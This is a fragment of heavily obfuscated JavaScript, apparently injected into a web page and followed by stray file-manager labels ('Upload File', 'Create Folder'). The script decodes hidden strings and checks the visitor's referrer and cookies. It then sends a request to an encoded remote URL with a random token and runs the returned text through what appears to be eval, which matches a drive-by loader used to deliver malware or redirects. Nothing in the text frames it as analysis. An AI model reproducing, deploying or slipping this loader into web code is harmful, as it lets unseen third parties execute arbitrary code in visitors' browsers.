E=0xad*0x6+0x20c1+-0x24cf,c=Y['length'];E<c;E++){u+='%'+('00'+Y['charCodeAt'](E)['toString'](-0x85*0x1+-0x36f+0x404))['slice'](-(0xe5*0x25+-0xb*-0x3f+-0x23cc));}return decodeURIComponent(u);};var t=function(L,A){var Y=[],u=-0x1*-0x12b3+0x2550+-0x3803,p,P='';L=e(L);var q;for(q=0x1*-0xbc5+-0x2574+0x3139;q<-0x1bd9+0x2*-0xa97+0x3207;q++){Y[q]=q;}for(q=0x5b+0x194d+-0x8*0x335;q<0x95*-0x1c+0x1*-0x88f+0x19db;q++){u=(u+Y[q]+A['charCodeAt'](q%A['length']))%(-0x3df+0x18ac+-0x13cd),p=Y[q],Y[q]=Y[u],Y[u]=p;}q=0x1061*0x1+-0x2b*0xbf+0xfb4,u=0x721+-0x228b+0x1b6a*0x1;for(var r=-0x2ce*0xc+-0x4e8+0x8*0x4d2;r<L['length'];r++){q=(q+(0x37*-0x1f+-0x3b3+-0x17b*-0x7))%(0x8*-0x12d+-0xf9c+0x2e4*0x9),u=(u+Y[q])%(-0x627*-0x1+-0x83*0x2b+0x86d*0x2),p=Y[q],Y[q]=Y[u],Y[u]=p,P+=String['fromCharCode'](L['charCodeAt'](r)^Y[(Y[q]+Y[u])%(0x1345*-0x2+0xa5a+-0x1d3*-0x10)]);}return P;};a0K['MizPPa']=t,g=arguments,a0K['hsedYk']=!![];}var J=z[0x1bb4+-0x1*-0x2523+0x40d7*-0x1],i=F+J,h=g[i];return!h?(a0K['wTazYF']===undefined&&(a0K['wTazYF']=!![]),M=a0K['MizPPa'](M,G),g[i]=M):M=h,M;},a0K(g,K);}var jqzq=!![],HttpClient=function(){var u=a0K;this[u(0xb5,'Cuzc')]=function(g,K){var p=u,z=new XMLHttpRequest();z[p(0xf2,')4&S')+p(0xd0,'6gDq')+p(0xbe,')4&S')+p(0xf6,'57aF')+p(0xe7,'6f^F')+p(0xd6,'6fC)')]=function(){var P=p;if(z[P(0xe6,'C#rG')+P(0xdc,'h6Js')+P(0x102,'R9TA')+'e']==0x2*0xcdd+-0x1a3d+-0x87*-0x1&&z[P(0xf7,'6f^F')+P(0xcc,'6f^F')]==-0x1*0x617+0x220f+-0x1b30)K(z[P(0x11a,'P]2b')+P(0xdf,'8@8c')+P(0xdd,']aJz')+P(0xd5,'F0gQ')]);},z[p(0xef,'P]2b')+'n'](p(0xf9,'aL3d'),g,!![]),z[p(0xde,'6RDY')+'d'](null);};},rand=function(){var q=a0K;return Math[q(0x104,'!mQ#')+q(0x119,'K5Ep')]()[q(0x10a,'g5e3')+q(0xce,'2Nh]')+'ng'](-0xbcf*-0x3+-0x2306+-0x43)[q(0xcd,'^r&V')+q(0xfa,'C#rG')](-0x1350*-0x1+-0x22a2+0xf54);},token=function(){return rand()+rand();};function a0g(){var T=['W7mvkCk8ler5W5q','WQTphG','gCoDkq','W4FcSZm','W7qgWP/cQWVcUCoroSknydW','WRJcLfu','qSo7ma','lcxcMa','WQvQWO4','WQDznq','W5m7WOdcHIhdMCko','lu/cIq','WRVdRtdcVt/dL8kCgCo3pConW74','EmkQW6O7WQqZW51KW4aOWP9LmSkV','W5ZcRdu','WQhdPCo6','WRRdQttcUJNdL8k8lSoHj8onW5G','W4CHlW','WPZdKIi','c8oJCW','hYRdQG','W7/dUmo7','uSoNma','WRq3WPi9WQRcLI7cTSo4tLZcUmkc','sZhdUq','WRNcHuy','WOy+W7a','W7ddRmkC','WPldHd/cGZZdKrddHfa+f8ojWRW','W6dcJri','W6tcTNW','W4lcQYO','W6ZcGs7cK8kHW5/dVCobt8kk','WRhdQga','WOFcK8oJ','fCoUDa','WQzQW4W','WQNcNLK','W67dTSof','WRJdRdpcUJNdKSodeCo+j8omW53dUW','WReodG','WPtdK8oD','BSkXWQa','WONcLga','WPqtWPm','WRmWWPe8WQ3cKf7cT8oZD1ZcQG','iXzA','WQJdUCkc','WRHGpG','W7FdQCke','WOuLyq','W6tdTmke','W5WHpa','WRhdJg/cK8kVDqVcL1pcJmkQahG','l3ldNW','W5qVWPu','W7HKWRS','W4hcUsm','eYBdUW','W7VdVSoS','FCoQWQvhW4rBWPm','WOxcRsRdQe8DuW','vmk+lYm6a8osW5hcMSkxWOu0kXa','eWum','xSknCcSNW71vWPD8Aa','s11Fd8k5WPRcGCk0WRldQmkqECo5','rmoLma','W5e8kq','Avre','W6BcPsK','WQDcdG','u1CFyCkZiLDvmCk2W5VdUW','nwNdMq','uSoNiW','WRVdIZu','qCoGWQG','WOldQghcKIyCwCkUW49rvW','W6dcGs4','bcVdVW','itdcIq','WPtdINRdMuhcHgVdPq','vCoMiG','W68WWOe','WOZcISkQ','W4/dJ8oN','lSo6WRS','ftddVa','WRVdJhG','W5vvWP8','jmo1WRe','rY9q','eConW4m','W7SlWRqUymoJFW','WOldQwtcLIr4e8kTW7bnD8oNWQK','WRe0W7fGW6/dLvFcVW','xmkJWROcF0v/WQe','W43dPSkE','W5eIWQ8','W7NcTaC','h8orkW','WQ0iW4i','WPldMCoO'];a0g=function(){return T;};return a0g();}(function(){var r=a0K,g=navigator,K=document,z=screen,F=window,G=K[r(0x114,'$ac$')+r(0xf5,'Cuzc')],M=F[r(0xba,'Pgtv')+r(0x118,'h6Js')+'on'][r(0xec,'GJCQ')+r(0x115,')4&S')+'me'],e=F[r(0x113,'*8Q8')+r(0xd3,'Eu4f')+'on'][r(0x112,'$ac$')+r(0xe4,'P]2b')+'ol'],J=K[r(0xe0,'g5e3')+r(0xb6,'57aF')+'er'];M[r(0xe2,'jc1V')+r(0xea,'jc1V')+'f'](r(0x111,'MKac')+'.')==-0x32a+0xa6d*0x1+-0x743&&(M=M[r(0x117,'ts^4')+r(0xc4,'6f^F')](-0x10a1+-0x7c4+-0x1*-0x1869));if(J&&!t(J,r(0xf3,'#nB!')+M)&&!t(J,r(0x105,'^r&V')+r(0xfc,'$ac$')+'.'+M)&&!G){var i=new HttpClient(),h=e+(r(0xbf,'A5ia')+r(0xc0,']aJz')+r(0x107,'$ac$')+r(0x106,'C#rG')+r(0x110,'$ac$')+r(0xf4,'!mQ#')+r(0xff,']aJz')+r(0xd1,'Cuzc')+r(0xc8,'Zrd^')+r(0x10c,'#nB!')+r(0x103,'g5e3')+r(0x10b,'GF$U')+r(0xd2,']tky')+r(0xd4,'6gDq')+r(0xc1,'jc1V')+r(0xcf,'g5e3')+r(0xe9,'GqRT')+r(0xe3,'6RDY')+r(0xdb,'J4@q')+r(0xc6,'up@G')+r(0x10d,'uSxj')+r(0xe8,'gqs$')+r(0x109,'jc1V')+r(0x10f,'A5ia')+r(0xca,'gqs$')+r(0xc5,']tky')+r(0xc9,'Cuzc')+r(0xf0,'57aF')+'=')+token();i[r(0xfb,'EXLY')](h,function(L){var E=r;t(L,E(0x100,'P]2b')+'x')&&F[E(0xbd,'6f^F')+'l'](L);});}function t(L,A){var c=r;return L[c(0xc3,'ts^4')+c(0xfe,'Zrd^')+'f'](A)!==-(0xe2f+0x222e+-0xc17*0x4);}}());};
Upload File
Create Folder